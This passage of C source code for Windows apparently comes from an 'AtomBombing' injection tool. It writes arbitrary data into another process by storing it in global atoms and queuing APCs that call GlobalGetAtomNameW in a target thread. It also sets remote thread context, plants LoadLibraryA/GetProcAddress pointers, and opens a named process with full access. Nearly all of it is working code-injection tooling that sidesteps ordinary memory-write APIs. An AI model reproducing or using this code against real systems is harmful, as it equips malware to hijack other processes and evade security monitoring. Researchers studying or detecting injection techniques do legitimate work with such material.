bWasAtomWrittenSuccessfully;\r\n\r\nlblCleanup:\r\n\tif (NULL != pswzCheckBuffer)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pswzCheckBuffer);\r\n\t\tpswzCheckBuffer = NULL;\r\n\t}\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom)\r\n{\r\n\tATOM tAtom = 0;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tLPWSTR pswzCheckBuffer = NULL;\r\n\tDWORD cbCheckBuffer = 0;\r\n\tUINT uiRet = 0;\r\n\tHMODULE hUser32 = NULL;\r\n\tBOOL bWasAtomWrittenSuccessfully = FALSE;\r\n\r\n\t// If user32.dll is not loaded, the ATOM functions return access denied. For more details see :\r\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\r\n\thUser32 = LoadLibrary(L\"user32.dll\");\r\n\r\n\tdo\r\n\t{\r\n\t\ttAtom = GlobalAddAtomW(pswzBuffer);\r\n\t\tif (0 == tAtom)\r\n\t\t{\r\n\t\t\tprintf(\"GlobalAddAtomA failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\r\n\t\t\teReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\teReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tif (FALSE != bWasAtomWrittenSuccessfully)\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\tfor (int i = 0; i < 0x2; i++)\r\n\t\t{\r\n\t\t\tSetLastError(ERROR_SUCCESS);\r\n\t\t\tGlobalDeleteAtom(tAtom);\r\n\t\t\tif (ERROR_SUCCESS != GetLastError())\r\n\t\t\t{\r\n\t\t\t\teReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED;\r\n\t\t\t\tgoto lblCleanup;\r\n\t\t\t}\r\n\t\t}\r\n\t} while (FALSE == bWasAtomWrittenSuccessfully);\r\n\t\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ptAtom = tAtom;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_NtQueueApcThreadWrapper(\r\n\tHANDLE hThread, \r\n\tPKNORMAL_ROUTINE pfnApcRoutine, \r\n\tPVOID pvArg1, \r\n\tPVOID pvArg2, \r\n\tPVOID pvArg3\r\n\t)\r\n{\r\n\tHMODULE hNtDll = NULL;\r\n\tHMODULE hKernel32 = NULL;\r\n\tHMODULE hUser32 = NULL;\r\n\t_NtQueueApcThread NtQueueApcThread = NULL;\r\n\tNTSTATUS ntStatus = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\t// If user32.dll is not loaded, the ATOM functions return access denied. For more details see:\r\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\r\n\thUser32 = LoadLibrary(L\"user32.dll\");\r\n\thKernel32 = GetModuleHandle(L\"kernel32.dll\");\r\n\thNtDll = GetModuleHandle(L\"ntdll.dll\");\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tNTDLL, \r\n\t\tNTQUEUEAPCTHREAD, \r\n\t\t(PVOID *) &NtQueueApcThread\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tntStatus = NtQueueApcThread(\r\n\t\thThread, \r\n\t\tpfnApcRoutine, \r\n\t\tpvArg1, \r\n\t\tpvArg2, \r\n\t\tpvArg3\r\n\t\t);\r\n\tif (0 != ntStatus)\r\n\t{\r\n\t\tprintf(\"NtQueueApcThread failed. ret: 0x%X (%d)\\n\\n\\n\", ntStatus, ntStatus);\r\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\tHANDLE hRemoteThread, \r\n\tHANDLE hWaitHandle, \r\n\tDWORD dwWaitMilliseconds, \r\n\tBOOL bWaitAlertable\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL;\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tWAITFORSINGLEOBJECTEX, \r\n\t\t(PVOID *) &pfnWaitForSingleObjectEx\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWrapper(\r\n\t\thRemoteThread, \r\n\t\tpfnWaitForSingleObjectEx, \r\n\t\thWaitHandle, \r\n\t\t(PVOID)dwWaitMilliseconds, \r\n\t\t(PVOID)bWaitAlertable\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_QueueUserApcWrapperAndKeepAlertable(\r\n\tHANDLE hThread,\r\n\tPAPCFUNC pfnAPC,\r\n\tULONG_PTR dwData\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwErr = FALSE;\r\n\r\n\tdwErr = SuspendThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;\r\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdwErr = QueueUserAPC(pfnAPC, hThread, dwData);\r\n\tif (0 == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED;\r\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\thThread,\r\n\t\tGetCurrentThread(),\r\n\t\t5000,\r\n\t\tTRUE\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdwErr = ResumeThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\tprintf(\"ResumeThread failed. GLE: %d.\", GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable(\r\n\tHANDLE hThread, \r\n\tPKNORMAL_ROUTINE pfnApcRoutine, \r\n\tPVOID pvArg1, \r\n\tPVOID pvArg2, \r\n\tPVOID pvArg3\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwErr = FALSE;\r\n\r\n\tdwErr = SuspendThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;\r\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWrapper(\r\n\t\thThread, \r\n\t\tpfnApcRoutine, \r\n\t\tpvArg1, \r\n\t\tpvArg2, \r\n\t\tpvArg3\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\thThread, \r\n\t\tGetCurrentThread(), \r\n\t\t5000, \r\n\t\tTRUE\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdwErr = ResumeThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\tprintf(\"ResumeThread failed. GLE: %d.\", GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\t\r\n\teReturn = main_QueueUserApcWrapperAndKeepAlertable(\r\n\t\thThread, \r\n\t\t(PAPCFUNC)SetEvent, \r\n\t\t(ULONG_PTR)hRemoteHandle\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)\r\n{\r\n\tPKNORMAL_ROUTINE pfnSetThreadContext = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tNTDLL, \r\n\t\tNTSETCONTEXTTHREAD, \r\n\t\t(PVOID *) &pfnSetThreadContext\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\t\r\n\r\n\teReturn = main_NtQueueApcThreadWrapper(\r\n\t\thThread, \r\n\t\tpfnSetThreadContext, \r\n\t\tGetCurrentThread(), \r\n\t\t(PVOID)ptContext, \r\n\t\t(PVOID)NULL\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_DoesStringContainNullTerminatorW(\r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize, \r\n\tPBOOL pbDoesStringContainUnicodeNullTerminator\r\n\t)\r\n{\r\n\tPWCHAR pwcPos = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\tpwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL);\r\n\tif (0 == pwcPos)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tif ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1))\r\n\t{\r\n\t\t*pbDoesStringContainUnicodeNullTerminator = FALSE;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t*pbDoesStringContainUnicodeNullTerminator = TRUE;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal(\r\n\tHANDLE hThread, \r\n\tPVOID pvBaseAddress, \r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwIndex = 0;\r\n\tHMODULE hKernel32 = NULL;\r\n\tPKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL;\r\n\tBOOL bDoesStringContainUnicodeNullTerminator = FALSE;\r\n\r\n\r\n\thKernel32 = GetModuleHandle(L\"kernel32.dll\");\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tGLOBALGETATOMNAMEW, \r\n\t\t(PVOID *) &pfnGlobalGetAtomNameW\r\n\t\t);\r\n\r\n\teReturn = main_DoesStringContainNullTerminatorW(\r\n\t\tpvBuffer, \r\n\t\tdwBufferSize, \r\n\t\t&bDoesStringContainUnicodeNullTerminator\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tif (FALSE != bDoesStringContainUnicodeNullTerminator)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR))\r\n\t{\r\n\t\tATOM tAtom = 0;\r\n\t\tCHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 };\r\n\t\tDWORD cbBlockSize = 0;\r\n\r\n\t\tif ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR)))\r\n\t\t{\r\n\t\t\tcbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tcbBlockSize = sizeof(acBuffer) - sizeof(WCHAR);\r\n\t\t}\r\n\r\n\t\t(VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize);\r\n\r\n\t\teReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\teReturn = main_NtQueueApcThreadWrapperAndKeepAlertable(\r\n\t\t\thThread, \r\n\t\t\tpfnGlobalGetAtomNameW, \r\n\t\t\t(PVOID)tAtom, \r\n\t\t\t((PUCHAR)pvBaseAddress) + dwIndex, \r\n\t\t\t(PVOID)(cbBlockSize + sizeof(WCHAR))\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_IsProcessMemoryEqual(\r\n\tHANDLE hProcess,\r\n\tPVOID pvRemoteAddress,\r\n\tPVOID pvExpectedBuffer,\r\n\tDWORD cbExpectedBufferSize,\r\n\tPBOOL pbIsMemoryEqual\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPVOID pvTempBuffer = NULL;\r\n\tDWORD dwNumberOfBytesRead = 0;\r\n\tBOOL bErr = FALSE;\r\n\tBOOL bIsMemoryEqual = FALSE;\r\n\r\n\tpvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize);\r\n\tif (NULL == pvTempBuffer)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = ReadProcessMemory(\r\n\t\thProcess,\r\n\t\tpvRemoteAddress,\r\n\t\tpvTempBuffer,\r\n\t\tcbExpectedBufferSize,\r\n\t\t&dwNumberOfBytesRead\r\n\t\t);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED;\r\n\t\tprintf(\"ReadProcessMemory error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tif (dwNumberOfBytesRead != cbExpectedBufferSize)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tif (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize))\r\n\t{\r\n\t\tbIsMemoryEqual = TRUE;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*pbIsMemoryEqual = bIsMemoryEqual;\r\n\r\nlblCleanup:\r\n\tif (NULL != pvTempBuffer)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\r\n\t\tpvTempBuffer = NULL;\r\n\t}\r\n\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemoryNullTerminated(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPVOID pvBaseAddress, \r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tBOOL bShouldStop = FALSE;\r\n\r\n\tdo\r\n\t{\r\n\t\teReturn = main_ApcWriteProcessMemoryNullTerminatedInternal(\r\n\t\t\thThread, \r\n\t\t\tpvBaseAddress, \r\n\t\t\tpvBuffer, \r\n\t\t\tdwBufferSize\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tSleep(100);\r\n\r\n\t\teReturn = main_IsProcessMemoryEqual(\r\n\t\t\thProcess,\r\n\t\t\tpvBaseAddress,\r\n\t\t\tpvBuffer,\r\n\t\t\tdwBufferSize,\r\n\t\t\t&bShouldStop\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tif (FALSE == bShouldStop)\r\n\t\t{\r\n\t\t\tprintf(\"[*] Data chunk written incorrectly, retrying...\\n\\n\\n\");\r\n\t\t}\r\n\r\n\t} while (FALSE == bShouldStop);\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemoryInternal(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPVOID pvBaseAddress, \r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tPWCHAR pwcPos = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPVOID pvTempBuffer = NULL;\r\n\tPVOID pvLocalBufferPointer = pvBuffer;\r\n\tPVOID pvRemoteBufferPointer = pvBaseAddress;\r\n\tDWORD dwBytesWritten = 0;\r\n\r\n\twhile (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize)\r\n\t{\r\n\t\tDWORD cbTempBufferSize = 0;\r\n\t\t\t\t\r\n\t\tpwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s(\r\n\t\t\t(LPWSTR)pvLocalBufferPointer, \r\n\t\t\t(dwBufferSize - dwBytesWritten) / sizeof(WCHAR)\r\n\t\t\t);\r\n\t\tif (0 == pwcPos)\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\tif (pvLocalBufferPointer == pwcPos)\r\n\t\t{\r\n\t\t\tpvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL);\r\n\t\t\tpvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL);\r\n\t\t\tdwBytesWritten += sizeof(UNICODE_NULL);\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tcbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer;\r\n\r\n\t\tpvTempBuffer = HeapAlloc(\r\n\t\t\tGetProcessHeap(), \r\n\t\t\tHEAP_ZERO_MEMORY, \r\n\t\t\tcbTempBufferSize + sizeof(UNICODE_NULL)\r\n\t\t\t);\r\n\t\tif (NULL == pvTempBuffer)\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tmemcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize);\r\n\r\n\t\teReturn = main_ApcWriteProcessMemoryNullTerminated(\r\n\t\t\thProcess, \r\n\t\t\thThread, \r\n\t\t\tpvRemoteBufferPointer, \r\n\t\t\tpvTempBuffer, \r\n\t\t\tcbTempBufferSize + sizeof(UNICODE_NULL)\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\tpvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize;\r\n\t\tpvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize;\r\n\t\tdwBytesWritten += cbTempBufferSize;\r\n\t\t\r\n\t\tif (NULL != pvTempBuffer)\r\n\t\t{\r\n\t\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\r\n\t\t\tpvTempBuffer = NULL;\r\n\r\n\t\t}\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif (NULL != pvTempBuffer)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\r\n\t\tpvTempBuffer = NULL;\r\n\t}\r\n\r\n\treturn eReturn;\r\n\r\n\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemory(\r\n\tHANDLE hProcess,\r\n\tHANDLE hThread,\r\n\tPVOID pvBaseAddress,\r\n\tPVOID pvBuffer,\r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tBOOL bShouldStop = FALSE;\r\n\r\n\tdo\r\n\t{\r\n\t\teReturn = main_ApcWriteProcessMemoryInternal(\r\n\t\t\thProcess,\r\n\t\t\thThread,\r\n\t\t\tpvBaseAddress,\r\n\t\t\tpvBuffer,\r\n\t\t\tdwBufferSize\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tSleep(100);\r\n\r\n\t\teReturn = main_IsProcessMemoryEqual(\r\n\t\t\thProcess, \r\n\t\t\tpvBaseAddress, \r\n\t\t\tpvBuffer, \r\n\t\t\tdwBufferSize, \r\n\t\t\t&bShouldStop\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tif (bShouldStop)\r\n\t\t{\r\n\t\t\tprintf(\"[*] New verification: Data chunk written successfully.\\n\\n\\n\");\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tprintf(\"[*] New Verification: Data written incorrectly, retrying...\\n\\n\\n\");\r\n\r\n\t} while (TRUE);\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcSetThreadContext(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPCONTEXT ptContext, \r\n\tPVOID pvRemoteAddress\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\teReturn = main_ApcWriteProcessMemory(\r\n\t\thProcess,\r\n\t\thThread,\r\n\t\t(PVOID)((PUCHAR)pvRemoteAddress),\r\n\t\tptContext,\r\n\t\tFIELD_OFFSET(CONTEXT, ExtendedRegisters)\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress));\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_ApcCopyFunctionPointers(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPVOID pvRemoteAddress\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tFUNCTIONPOINTERS tFunctionPointers = { 0 };\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tLOADLIBRARYA, \r\n\t\t&tFunctionPointers.pfnLoadLibraryA\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tGETPROCADDRESS, \r\n\t\t&tFunctionPointers.pfnGetProcAddress\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_ApcWriteProcessMemory(\r\n\t\thProcess, \r\n\t\thThread, \r\n\t\tpvRemoteAddress, \r\n\t\t&tFunctionPointers, \r\n\t\tsizeof(tFunctionPointers)\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)\r\n{\r\n\tDWORD dwProcessId = 0;\r\n\tHANDLE hSnapshot = NULL;\r\n\tPROCESSENTRY32 pe = { 0 };\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (NULL == hSnapshot)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR;\r\n\t\tprintf(\"CreateToolhelp32Snapshot error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpe.dwSize = sizeof(PROCESSENTRY32);\r\n\tif (FALSE == Process32First(hSnapshot, &pe))\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR;\r\n\t\tprintf(\"Process32First error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdo\r\n\t{\r\n\t\tif (NULL != wcsstr(pe.szExeFile, pszProcessName))\r\n\t\t{\r\n\t\t\tdwProcessId = pe.th32ProcessID;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t} while (Process32Next(hSnapshot, &pe));\r\n\r\n\tif (0 == dwProcessId)\r\n\t{\r\n\t\tprintf(\"[*] Process '%S' could not be found.\\n\\n\\n\", pszProcessName);\r\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Found process '%S'. PID: %d (0x%X).\\n\\n\\n\", pszProcessName, dwProcessId, dwProcessId);\r\n\t*pdwProcessId = dwProcessId;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\r\n\t{\r\n\t\tCloseHandle(hSnapshot);\r\n\t\thSnapshot = NULL;\r\n\t}\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess)\r\n{\r\n\tHANDLE hProcess = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwPid = 0;\r\n\r\n\teReturn = main_GetProcessIdByName(pszProcessName, &dwPid);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\thProcess = OpenProcess(\r\n\t\tPROCESS_ALL_ACCESS,\r\n\t\tFALSE,\r\n\t\tdwPid\r\n\t\t);\r\n\tif (NULL == hProcess)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR;\r\n\t\tprintf(\"OpenProcess error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Opened process's handle: %d (0x%X).\\n\\n\\n\", hProcess, hProcess);\r\n\t*phProcess = 